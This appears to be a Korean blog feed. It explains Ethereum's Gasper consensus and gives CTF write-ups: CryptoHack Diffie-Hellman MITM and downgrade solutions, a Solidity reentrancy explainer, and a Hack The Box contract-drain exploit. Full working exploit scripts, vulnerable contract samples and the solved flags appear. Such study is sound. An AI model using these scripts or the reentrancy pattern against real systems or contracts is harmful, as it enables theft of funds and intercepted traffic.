반응형

요약)

  1. The merge 업데이트에서 PoW → PoS로 consensus protocol을 변경.
  2. 기존에 사용되던 Casper FFG와 LMD Ghost를 ETH2에 적절히 조합한 PoS consensus algorithm.

Fork-Choice-Rule: Nakamoto consensus (classic)

비트코인과 이더리움 1.0 PoW의 가장 근간이 되는 합의 프로토콜.

다른 말로 Longest Chain Rule이라고도 표현한다. 말그대로 Fork가 발생했을 때, 여러 Fork중, 더 긴 체인을 선택하는 (즉, 더 많은 hash power가 들어간 체인이 나열한 트랜잭션 순서를 valid하다고 인정하는) 프로토콜이다.

이렇게 인정된 체인을 Canonical Chain이라고 부른다.


Safety & Liveness

FLP impossibility: 결정론적(Safety)하고 비동기적인(Liveness)프로세스에서 합의에 이르는 것이 불가능하다는 것

  • Safety: Finality로 fork발생 없이 오직 하나의 블록체인만을 유지할 수 있도록 하는 것.
  • → consensus에 도달하지 못해, 무한 교착상태에 빠질 수 있음
  • Liveness: 단 하나의 consensus에 도달하지 못하더라도, 불완전한 합의를 우선 진행하여 지연없이 새로운 블록을 계속 생성할 수 있는 것.
  • → fork가 발생하여 이중지불문제를 야기할 수 있음

FLP inpossibility로 인해, 이 두 속성이 모두 충족되기 힘들기 때문에, 각 블록체인들은 이 두 속성의 비중을 조절하여 체인의 특성을 결정함.

 


Casper FFG

32block(1 epoch)마다 블록을 Finalize시키는 알고리즘

ETH1(Before The Merge)에서의 Casper FFG

Casper FFG는 이더리움이 PoW인 시절(ETH1)에도 존재하던 프로토콜이었는데, 원래는 그러한 Nakamoto Consensus에 의해 발생한 여러 Fork 중 Canonical Chain을 결정하기 위해 블록을 Finalize시켜 해당 블록을 checkpoint로 쓰기 위해 위해 사용되었다.

따라서, 이로 인해 51%공격 등의 공격이 발생한다고 해도, 체크포인트 이전의 블록은 수정하지 못하도록 하여 블록체인을 보호한다.

합의의 과정에서, 총 Staking Amount중, 자신의 예치금(deposit)이 차지하는 지분만큼 의결권을 행사할 수 있으며, 이 과정에서 전체 Validator의 $\frac{2}{3}$만큼 투표를 받으면, Supermajority Link로 인정받을 수 있으며, 이 Link와 연결된 checkpoint가 다음 checkpoint가 되는 구조이다.

ETH2 (After The Merge)에서의 Casper FFG

Slot, Epoch

The Merge이후, ethereum에서는 block의 개념보다, slot, epoch이라는 개념을 주로 사용하게 된다. 자세히 살펴보면, 1개의 블록(block)은 1개의 슬롯(slot)이라는, 12초의 단위시간으로 표현되며, 이러한 슬롯이 32개 모여 에폭(Epoch)이라는 384초(6.4분)의 단위시간으로 표현된다.

Casper FFG

Casper FFG는 매 32슬롯(1에폭)마다 여러 포크 중 하나의 포크를 선택하도록 하는데, 부모 체크포인트가 여러 자손 체크포인트 중 하나를 선택하도록 하는 것이 Casper FFG의 역할이다.


LMD GHOST

(Last Message Driven Greediest heaviest Observed SubTree)

네트워크 지연 등으로 인해 fork발생 시, fork를 선택하는 알고리즘

참조: Combining GHOST and Casper

Message = Attestation message

Fork가 발생했을 때, 어떤 블록을 기존 체인에 연결할지, Attestation Message를 통해 투표하는 프로토콜.

Combining GHOST and Casper

위 그림에서 사각형으로 표현된 것이 block(또는 slot), 원으로 표현된 것이 Message.

가장 많은 Last Attestation Message가 지지하고 있는 block이 인정되게 된다.

Last Attestation Message?

→ 그림에서 보이는 모든 원들을 말한다. 즉, 몇 번째 블록인지와 상관 없이, 모든, “가장 최근”의 Attestation Message.

이를 통해, 블록체인의 Safety를 어느정도 보장하게 된다.


Gasper

위에서 본 것과 같이, Casper FFG와 LMD Ghost는 모두 결국 Fork중, 어느 Fork를 인정할지를 선택하는 프로토콜이다. 그럼, 왜 이 둘을 구분하여 사용할까.

slot과 slot간의 관계 즉, slot 단위에서 발생하는 fork에 대하여 LMD Ghost에 의해 하나의 fork로 합의된다.

이렇게 만들어진 epoch은 Casper에 의해 체크포인트 블록을 연결(또는 확정)하는 단위로 사용된다. 즉, epoch과 epoch의 관계를 Casper를 통해 결정짓는다.

이러한 epoch과, slot의 개념이 있는 것은 알겠는데, 그래서 어떤 과정을 통해 검증(Validate)를 하는 것일까?

Committees

참조: DSRV Research

  1. 매 slot마다 하나의 Validator집단을 랜덤하게 만든다.
  2. 각 집단을 Committee(위원회)라 부른다.
  3. 각 위원회에서 랜덤하게 한 명의 리더를 선출하여 이 리더는 블록을 제안한다.
  4. 블록 제안자를 포함한 위원회의 모든 validator는 블록을 검증한다.
  5. 한 에폭은 32개의 슬롯으로 이루어져있기 때문에, 전체 validator 집단을 32개로 랜덤하게 쪼개 슬롯에 배정하여 모든 validator가 한 epoch에서 validating에 참여할 수 있도록 함
  6. 한 epoch이 끝나면, 다시 랜덤하게 commitee를 구성하여 위의 과정을 반복한다.

Validate (Block 검증)

LMD GHOST프로토콜에서, 한 명의 block proposer가 해당하는 committee에 블록을 제안하면, 해당 committee를 구성하는 validator들은 블록을 확인하고, 블록에 대한 Attestation Message를 broadcast한다. 이러한 Attestation Message를 통해 지지되는 Fork마다 LMD GHOST점수가 매겨지고, 다음 블록 생성자는 어떤 fork 위에 블록을 생성해야 하는지 결정하게 된다.

위에서 Finalize라는 개념이 등장했었는데, 이는 체크포인트를 확정짓는 과정에 속하게 된다. 여기서, 체크포인트는 각 epoch의 첫 번째 슬롯의 블록으로 설정하여 Finalize과정을 거치도록 한다. 이를 더 자세히 뜯어보자.

class AttestationData(Container):
    slot: Slot # attestation message 전파하는 slot number
    index: CommitteeIndex # validator가 속한 commitee number
    beacon_block_root: Root # fork결정에 대한 attestation message 즉, LMD GHOST
    source: Checkpoint # Casper FFG vote: last justified epoch's first block
    target: Checkpoint # Casper FFG vote: last epoch's first block

위의 코드는 Validator가 committee에 broadcast하는 Attestation message의 구조이다.

source와 target, 그리고 beacon_block_root가 중요한 내용인데, source는 가장 최근에 justificate된 즉, 현재 epoch이전에 인정된 epoch의 첫 번째 블록(체크포인트)를 의미한다. target은 이번 그 체크포인트의 다음 epoch의 체크포인트라고 생각되는 block을 가리킨다. 이를 통해, Casper FFG투표(Supermajority vote)를 진행할 수 있으며, BPFT(비잔틴 장군 문제)에 따라, $\frac{2}{3}$이상의 validator가 동의하면, epoch의 상태가 justified로 변한다. (여기서, justified는 finalized와 다른 개념으로, Finalized되기 이전의 상태를 말한다.)

그렇다면, Finalize는 어떤 과정을 거쳐 진행될 수 있을까?

  1. Epoch0과 Epoch1의 checkpoint간 연결이 justified되었다고 하자.
  2. Epoch2에서 블록을 검증하는 validator들이 Epoch1과 Epoch2의 Supermajority Link를 지지하는 투표를 한다.
  3. 이 투표 비율이 전체 validator 수의 $\frac{2}{3}$이 되면, Epoch1과 Epoch2의 체크포인트 사이에 Supermajority Link가 생성되고, 이 Link가 Justified된다.
  4. 이 과정을 통해, Epoch1은 Epoch0과 Epoch2 모두로부터 Supermajority Link가 생성되어 그 결과, Epoch1에 있는 체크포인트가 Finalize되어 더 이상 변경할 수 없게 된다.

이렇게 Casper FFG와 LMD GHOST가 합쳐져 Gasper가 만들어지게 된다.


추가적인 궁금증🤨

Fork가 발생하는 이유.

Q. 블록체인에서 Fork가 발생하는 이유를 두고, 51%공격, 그리고 네트워크 지연 등 이유로 Fork가 발생하는 것으로 알고 있는데, 한 Slot당 하나의 Committee가 구성되고, 한 Committee에서 한 Proposer가 block을 제안하는 구조에서, 대체 왜 Fork가 발생하는가?

A(Mentor Troy). 현재 이더리움 PoS에서 가장 흔히 fork (reorg)가 발생하는 이유는 네트워크 지연이라고 볼 수 있다. 예를들어, 1번 슬롯에서 A 밸리데이터가 정해진 시간 내에 N번에 해당하는 블록을 만들어서 전파해야하는데, 이 시간 내에 전달받지 못한 경우 이를 Missed로 처리하고 2번 슬롯의 밸리데이터가 만든 블록을 N번 블록으로 포함되게 된다. 그렇지만 일부 밸리데이터들은 A가 만든 블록을 수신했을 수도 있지만, vote를 받지 못했기 때문에 그 뒤로 이어나가지 않을 가능성이 크다. 이런 식으로 Reorg가 발생하곤 한다.

참고자료

https://arxiv.org/pdf/2003.03052

https://medium.com/curg/gasper-casper-ghost-5aa9c226265c

 

반응형
반응형

 

 

CryptoHack – Home

A free, fun platform to learn about cryptography through solving challenges and cracking insecure code. Can you reach the top of the leaderboard?

cryptohack.org

 

이번 문제도 그냥 MITM이다. 

Overview

Alice와 Bob이 어떠한 값들을 주고받는지 살펴보자.

 

우선, nc로 연결해보면,

Intercepted from Alice: {"supported": ["DH1536", "DH1024", "DH512", "DH256", "DH128", "DH64"]}

이렇게 나오고, Bob은

Intercepted from Bob: {'chosen': 'DH1536'}

이러한 값을 Alice에게 전달하는 것을 볼 수 있다.

즉, Alice는 Bob에게 선택지를 보내고, Bob은 그 중 secret 값으로 사용할 숫자의 길이를 보내는 것 같다.

Exploit - Theory

그렇다면, Alice가 보내는 선택지를 공격자의 임의로 변경해서 보내면 되지않을까?

{'supported': ['DH64']}

로 바꿔서 보내보았다. 그랬더니,

Intercepted from Bob: {'chosen': 'DH64'}

로 답이 왔다.

길이가 64밖에 되지 않는다면, DLP를 풀 수 있을 것만 같다.

64 길이의 DLP 문제를 푸는 것은, 간단하게 SageMath를 이용해서 해결할 수 있다고 한다.

그런데, 내가 SageMath는 초보라서, 지피티와 함께 풀었다.

Exploit - Do it

우선, 이 문제에서도 이전 문제에서 사용했던 AES decrypt 코드를 이용한다고 하였다.

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib

def is_pkcs7_padded(message):
    padding = message[-message[-1]:]
    return all(padding[i] == len(padding) for i in range(0, len(padding)))

def decrypt_flag(shared_secret: int, iv: str, ciphertext: str):
    # Derive AES key from shared secret
    sha1 = hashlib.sha1()
    sha1.update(str(shared_secret).encode('ascii'))
    key = sha1.digest()[:16]
    # Decrypt flag
    ciphertext = bytes.fromhex(ciphertext)
    iv = bytes.fromhex(iv)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)

    if is_pkcs7_padded(plaintext):
        return unpad(plaintext, 16).decode('ascii')
    else:
        return plaintext.decode('ascii')
from pwn import *
import json

r = remote("socket.cryptohack.org", 13379)

def recv_json():
    ret = json.loads(r.recvuntil('}').decode())
    print(ret)
    return ret

def send_json(msg):
    to_send = json.dumps(msg).encode()
    r.sendline(to_send)

r.recvuntil('Intercepted from Alice: ')
Alice_1 = recv_json()
Alice_1 = {'supported': ['DH64']}

r.recvuntil('Send to Bob: ')
send_json(Alice_1)

r.recvuntil('Intercepted from Bob: ')
Bob_1 = recv_json()

r.recvuntil('Send to Alice: ')
send_json(Bob_1)

r.recvuntil('Intercepted from Alice: ')
Alice_2 = recv_json()
p = int(Alice_2['p'], 16)
g = int(Alice_2['g'], 16)
A = int(Alice_2['A'], 16)

r.recvuntil('Intercepted from Bob: ')
data = recv_json()
B = int(data['B'], 16)

이렇게 해서 Alice와 Bob의 p, g, A, B를 받아볼 수 있다.

하지만, 여기에서 사용된 p의 길이가 64밖에 되지 않기 때문에, 다른 취약점이 아닌, 계산을 통해 문제를 풀 수 있다.

이 아래 이와 같은 코드를 추가해주었다.

# sagemath에서 dlp를 계산하고 돌아옴
a = int(input())

잠시 멈추고, 위의 p, g, A, B를 이용해 a 값을 계산하여 이를 입력하는 과정이다.

$ sage
sage: g = Mod({g}, {p})
sage: A = {A}
sage: a = discrete_log(A, g)
sage: a

이렇게 하면 a값을 얻을 수 있다. (물론 '{}'로 씌워진 곳에는 문자가 아니라 숫자를 입력해야한다.)

이 다음 과정부터는 그냥 Diffie-Hellman 이용해서 계산하고, 보내주면 된다. 간단하다.

shared_secret = pow(B, a, p)

r.recvuntil('Intercepted from Alice: ')
data = recv_json()
iv = data['iv']
encrypted_flag = data['encrypted_flag']

print(decrypt_flag(shared_secret, iv, encrypted_flag))
#crypto{d0wn6r4d35_4r3_d4n63r0u5}

r.close()

 

끝~

반응형
반응형

 

 

CryptoHack – Home

A free, fun platform to learn about cryptography through solving challenges and cracking insecure code. Can you reach the top of the leaderboard?

cryptohack.org

Diffie-Hellman Key exchange

이 프로토콜은 DLP:Discrete Logarithm Problem을 바탕으로 만들어진 키 교환 프토로콜이다. 

$A = g^a mod\ p$ 

를 알고 있을 때, $(g, p, A)$를 모두 알고 있어도, $a$ 값은 알기 어렵다는 것을 기반으로 하고 있다.

 

좀 더 자세히 보면,

Alice와 Bob이 통신키(세션키)를 교환하고자 할 때 안전하게 교환하는 프로토콜이다.

1. Alice가 $a < p$인 secret 값 $a$ 를 정한다.

2. Alice -> Bob: $\{g, p, A=g^{a} mod\ p\}$ 를 전송한다.

3. Bob: $b < p$인 secret 값 $b$를 정한다.

4. Bob: $\{A^{b} mod\ p\}$ 를 계산한다. 이게 둘 사이의 shared secret이다. $A^b mod\ p = g^{ab} mod\ p$

5. Bob -> Alice: $\{B=g^{b} mod\ p\}$ 를 전송한다.

6. Alice: $B^a mod\ p$ 를 계산한다. ($B^{a} mod\ p = g^{ba} mod\ p$) 

이렇게 되면, Alice와 Bob은 안전하게 세션키를 교환할 수 있다.

Exploit - theori

그런데 여기서, 중간에 통신을 가로챌 수 있는 중간자가 있다면, 이 프로토콜을 깰 수 있다. :MITM: Man In The Middle attack

공격자 Carol을 가정하고, 위 프로토콜을 깨보자.

이 때, Carol은 본인만의 Malicious한 secret 값 $c$를 생성한다.

 

1. Alice가 $a < p$인 secret 값 $a$ 를 정한다.

2. Alice -> Bob: $\{g, p, A=g^a mod\ p\}$ 를 전송한다.

Carol이 위 데이터를 가로채서, $\{g, p, A=g^c mod\ p\}$ 를 Bob에게 전송한다.

3. Bob: $b < p$인 secret 값 $b$를 정한다.

4. Bob: $A^b mod\ p$ 를 계산한다. 이게 둘 사이의 shared secret이다. $A^b mod\ p = g^{cb} mod\ p$

5. Bob -> Alice: $\{B=g^b mod\ p\}$ 를 전송한다.

Carol이 위 데이터를 가로채서, $\{B=g^c mod\ p\}$를 Alice에게 전송한다.

6. Alice: $B^a mod\ p$ 를 계산한다. $(B^a mod\ p = g^{ca} mod\ p)$

 

이러한 과정을 거치면, Carol은 Alice와 Bob의 세션키를 모두 가지고있게 된다.

Alice의 통신키: $g^{ac} mod\ p$

Bob의 통신키: $g^{bc} mod\ p$

이를 통해, Carol은 Man In The Middle에서 둘 사이의 통신을 마음대로 쥐락펴락 할 수 있다.

 

 Exploit - do it

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import hashlib

def is_pkcs7_padded(message):
    padding = message[-message[-1]:]
    return all(padding[i] == len(padding) for i in range(0, len(padding)))


def decrypt_flag(shared_secret: int, iv: str, ciphertext: str):
    # Derive AES key from shared secret
    sha1 = hashlib.sha1()
    sha1.update(str(shared_secret).encode('ascii'))
    key = sha1.digest()[:16]
    # Decrypt flag
    ciphertext = bytes.fromhex(ciphertext)
    iv = bytes.fromhex(iv)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)

    if is_pkcs7_padded(plaintext):
        return unpad(plaintext, 16).decode('ascii')
    else:
        return plaintext.decode('ascii')

# protocol
from pwn import *
import json
import os
from Crypto.Util.number import *

r = remote('socket.cryptohack.org', 13371)

r.recvuntil('Intercepted from Alice: ')
Alice = json.loads(r.recvline().decode())
p = int(Alice['p'], 16)
g = int(Alice['g'], 16)
A = int(Alice['A'], 16)

c = bytes_to_long(os.urandom(100))
payload = json.dumps({'p':hex(p),'g':hex(g),'A':hex(p)})
r.recvuntil('Send to Bob: ')
r.sendline(payload)

r.recvuntil('Intercepted from Bob: ')
Bob = json.loads(r.recvline().decode())
B = int(Bob['B'], 16)

r.recvuntil('Send to Alice: ')
C = pow(g, c, p)
payload = json.dumps({'B': hex(C)})
r.sendline(payload)

r.recvuntil('Intercepted from Alice: ')
data = json.loads(r.recvline().decode())
iv = data['iv']
encrypted_flag = data['encrypted_flag']

shared_secret = pow(A, c, p)

print(decrypt_flag(shared_secret, iv, encrypted_flag))
# crypto{n1c3_0n3_m4ll0ry!!!!!!!!}

r.close()
반응형
반응형

지금까지 몇개월정도 Web3 offensive 보안 공부를 하면서 취약한 컨트랙트를 보면 일단 call()함수가 사용되었나를 보고, 사용되었으면 reentrancy attack이 가능하겠다~ 정도를 생각해왔다.

그리고, call{value: }() 함수 사용으로 인한 reentrancy attack의 countermeasure로 사용되는 함수가 send(), transfer() 인 것으로 생각하고 있었다.

그런데 몇몇 자료들을 찾아다니다보니, 꼭 그런것도 아니겠구나 싶었다. 오히려 send(), trnasfer() 함수가 reentrancy attack을 유발할 수 있겠구나 싶었다.

이 내용을 한번 자세히 정리해보고자 한다.

 


지난번 포스팅에서 송금 관련 함수들 (send, transfer, call)에 대해 다룬 적이 있었다. 한번 들어가서 보고와도 좋을 것 같다.

 

[Web3 개발/보안] Solidity payable / transfer, call, send / 송금 관련 함수 다루기

오늘은 web3에서 Solidity를 사용하는 사람이라면 한 번쯤은 짚고넘어가야할 필요가 있는 payable 키워드를 들고와보았다. 처음 solidity를 공부할 때 부터 대체 저 키워드가 무엇인지부터 시작해서 tran

nullorm.tistory.com


Reentrancy attack (재진입 공격)

말 그대로 attacker가 victim contract의 송금 함수를 여러번 실행하도록 하는 공격이다. 예시를 한번 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] = balance[msg.sender] - 1; // ... 3
	}
}

이렇게 생긴 Victim 컨트랙트가 있다고 할 때, Attacker가 withdraw() 함수를 정상적으로 실행하면,

1. require()에서 잔액이 1 이더 이상 있는지 물어보고

2. 1 이더를 msg.sender(Attacker)에게 보내주고

3. msg.sender(attacker)의 잔액을 1만큼 감소시켜준다.

 

여기까지 봤을 때는 아무런 문제가 없어보인다. 하지만... Solidity에는 receive(), fallback() 메소드가 존재한다.

receive() method

Web3 생태계는 아무래도 돈을 송금하는 기능에 초점을 맞춘 기능이 많다보니 receive()와 같은 메소드가 생겨났다.   

receive() 는 컨트랙트의 함수를 호출하는 것이 아니라, 컨트랙트에 이더를 송금했을 때 실행되는 부분이라고 보면 된다.

예시를 살펴보자.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Victim {
	mapping(address => uint256) public balance;

	function withdraw() external {
		require(balance[msg.sender] >= 1, "insufficient balance"); // ... 1
		(bool sent, ) = payable(msg.sender).call{value: 1 ether}(""); // ... 2
		balance[msg.sender] -= 1; // ... 3
	}
	
	receive() external payable {
		balance[msg.sender] += msg.value;
	}
}

위의 컨트랙트를 살펴보면, receive() 메소드를 통해 msg.sender 주소의 balance 매핑을 증가시켜주는 것을 알 수 있다.

그렇다면, 이러한 receive() 메서드를 통해 어떻게 공격을 할 수 있다는 것일까?

좌측: victim, 우측: attacker

 

우측 컨트랙트에서 doWithdraw()를 실행시켜 좌측 컨트랙트의 withdraw()함수를 실행시키면...

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

3. msg.sender의 balance를 1만큼 감소시킨다. 

지금까지는 이런 줄 알았지만 사실은,

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: doSomething

3. msg.sender의 balance를 1만큼 감소시킨다. 

이런 순서로 진행되는 것이다.

 

그런데, 여기에서 중요한 취약점은, require()에서 잔액을 검사하고, call()을 한 뒤에, balance를 감소시킨다.

그런데, balance 매핑을 감소시키기 전에, receive()가 실행되어 다른 동작을 할 수 있다.

이를 조금 악용해볼까?

우측 컨트랙트의 "//doSomething" 부분만 수정하였다.

이렇게 되면, 어떤 과정으로 실행되는지 다시 보자.

 

1. require() 를 통해 msg.sender의 잔액을 체크한다

2. call()을 통해 1이더를 msg.sender에게 송금한다

   2-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

   2-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

   2-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

   2-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

        2-4-1: 이더를 받은 우측 컨트랙트에서 receive()를 실행시킨다

        2-4-2: 다시한번 좌측의 withdraw함수를 실행시킨다.

        2-4-3: 좌측에서 require()를 통해 balance 매핑을 체크하지만, 아직 balance가 마이너스 되지 않았다.

        2-4-4: 다시한번 call()을 통해 1이더를 msg.sender에게 송금한다.

              ...

              ...

              ...

3. msg.sender의 balance를 1만큼 감소시킨다. 

 

이런 순서로 진행되는 것이다.

결국, Victim 컨트랙트는 더이상 송금을 할 수 있는 이더가 없을 때 까지 attacker에게 송금을 하게 될 것이고, 가진 모든 이더를 빼앗기게 될 것이다.

 

이게 가능한 이유는?

call()함수가 transfer(), send() 함수와 다르게, gas의 최대 사용량이 한정되지 않고 로직에 따라 gas 사용량이 가변적이기 때문에, call() 함수가 상대적으로 재진입공격에 취약한 것이고 transfer, send 함수가 안전하다고 하는 것이다.


send(), transfer() 함수의 취약성

그런데, 사실 send(), transfer() 함수도 취약하다고 본다.

https://consensys.io/diligence/blog/2019/09/stop-using-soliditys-transfer-now/

이 자료를 보면, 특정 Opcode 실행 시 gas fee를 변경하면서부터, gas fee를 제한하는 것을 통한 countermeasure가 별로 의미있지 않게 된 다는 것이다. 즉, gas fee가 내려간다면 2300 gas만으로도 재진입공격이 가능해질 수 있고, gas fee가 올라가게 된다면, 정상 컨트랙트도 실행을 실패하게될 수 있다는 것이다.

따라서 이제는, send / transfer 함수를 통해 송금을 구현하는 것 보다는, call{value:, gas:}("") 의 형태로 구현하는 것이 더욱 바람직할 것이라고 한다.

 

반응형
반응형

web3 생태계에서 다른 컨트랙트의 함수를 호출하는 과정에서 우리는 어떨 때는 직접 호출을 하는 경우도 있고, 저수준 호출을 하는 경우도 있다. 

A라는 컨트랙트에 있는 "func1(uint _number)" 함수를 호출한다고 가정해보자.

그러면 우리는, 두 가지 호출 방식이 있을 것이다. 

 

1. A.func1(123) - 직접호출 방식

2. A.call{}(abi.encodeWithSignature("func1(uint)")) - 저수준 호출 방식

 

이 두 경우의 차이점, 그리고 호출 실패 시 어떻게 핸들링하는지를 알아보고자 한다.


1. 직접호출 방식

직접 호출 방식은 가장 기본적인 방법으로, 호출하려는 함수의 이름과 인수를 사용하여 함수를 호출한다. 이 방식은 Solidity 컴파일러에 의해 함수의 존재와 시그니처가 검증되므로 타입 안정성을 제공한다. 

호출 방법은 위에서도 썼듯,

A.func1(123);

이다. 

이 방식의 장점이라고 한다면 가독성 및 안정성이라고 할 수 있을 것이다. 컴파일타임에 함수의 존재를 확인하고, 인자타입이 맞지 않을 경우 컴파일 에러를 발생시킨다. 

또한, 리턴 값을 받는 것도 굉장히 직관적이라고 할 수 있다. 

만약 "func1"함수가 uint형을 return 한다면

uint res = A.func1(123);

으로 리턴을 받을 수 있다.

함수 호출 실패 시

함수가 존재하지 않거나, 인자가 잘못되거나 했을 경우, 컴파일 시점에 에러를 발생시키지만, 컴파일 시점에 문제가 없는 modifier, revert, require 등으로 인해 함수 호출이 실패했을 경우, 전체 트랜잭션이 실패하고 롤백되게 된다.

2. 저수준 호출

저수준의 'call'함수를 사용하게 되면 더욱 유연하지만 복잡하고 에러가 발생하기 쉬운 방식의 호출이 된다.

'call'은 ABI 인코딩을 통해 어떠한 함수든 호출할 수 있고, 이 때 함수의 존재여부나 시그니처 등은 컴파일이 아닌, 런타임에 검증된다.

(bool success, bytes memory data) = A.call{value: msg.value, gas: 5000}(abi.encodeWithSignature("func1(uint)", 123));

이런식으로 사용을 하게 된다.

success 의 경우, 함수 호출이 성공적이었는지 여부를 나타내며,

data 의 경우, 호출된 함수로부터 반환된 return 값이다.

이렇게 반환된 return값은, abi.decode() 메서드를 통해 적절하게 처리할 수 있다.

(bool success, bytes memory data) = A.call(abi.encodeWithSignature("func1(uint)", 123));
require(success, "Call failed");

uint result;
if (data.length > 0) {  // 함수에서 데이터가 실제로 반환되었는지 확인
    result = abi.decode(data, (uint));
}

이런식으로 사용할 수 있다.

함수 호출 실패 시

저수준 함수 호출에는, 에러가 발생한다고 해도 롤백이 되지 않는다. 대신, success플래그를 통해 성공 여부를 반환하게 된다. 

(bool success, bytes memory data) = A.call{gas: 5000}(abi.encodeWithSignature("func1(uint)", 123));
if (!success) {
    // 에러 핸들링 로직
    revert("Function call failed.");
}

그래서, 함수 호출에 실패했을 경우, 위와 같이 직접 핸들링을 해주어야 한다. 다소 불편할 수 있지만, 유연성을 제공한다는 점에서 장점이 있다고 할 수 있다.

반응형
반응형

해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.

링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy

 

Hack The Box

 

app.hackthebox.com

1. 문제 설명이다. 그렇다고 한다.

 

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.

2. 문제 소스코드를 보자

1. setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

isSolved() 함수의 return값이 true가 되면 문제가 풀린다.

이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.

하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.

2. Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

TARGET contract이다. 

최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.

한번 step을 밟아보자.

1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다. 

2. attack()함수 내부를 보자.

 

attack(uint256 _damage)

결국 실행시켜야 하는 것은 attack(1000)일 것이다. 

하지만, 이를 실행하려면

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 부분까지 접근해야 할 것이고,

그 전의 if문도 통과해야 한다.

 

통과해야 하는 조건들을 살펴보면,

        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 두 가지 부분이다.

 

첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,

두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.

_isOffBalance()함수는

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }

인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.

그럼, 공격 시나리오를 구성해보자. 

 

1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.

2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다. 

그렇다면, 이렇게 하면 되겠다.

 

1. EOA에서 attack()함수를 호출

2. CA에서 attack(1000)을 호출

 

이대로 코드를 작성해보자. 일단 2번의 CA먼저.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface creature {
	function attack(uint256 _damage) external;
}

contract exploit {
	creature public target;
	constructor(address _target) {
		target = creature(_target);
		target.attack(1000);
	}
}

이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.

그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.

from web3 import Web3
import requests
import json

url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()

key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']

f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)

nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
	'from': user_addr,
	'nonce': nonce,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')

f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)

tx = attack_cont.constructor(target_addr).build_transaction({
	'from': user_addr,
	'nonce': nonce+1,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
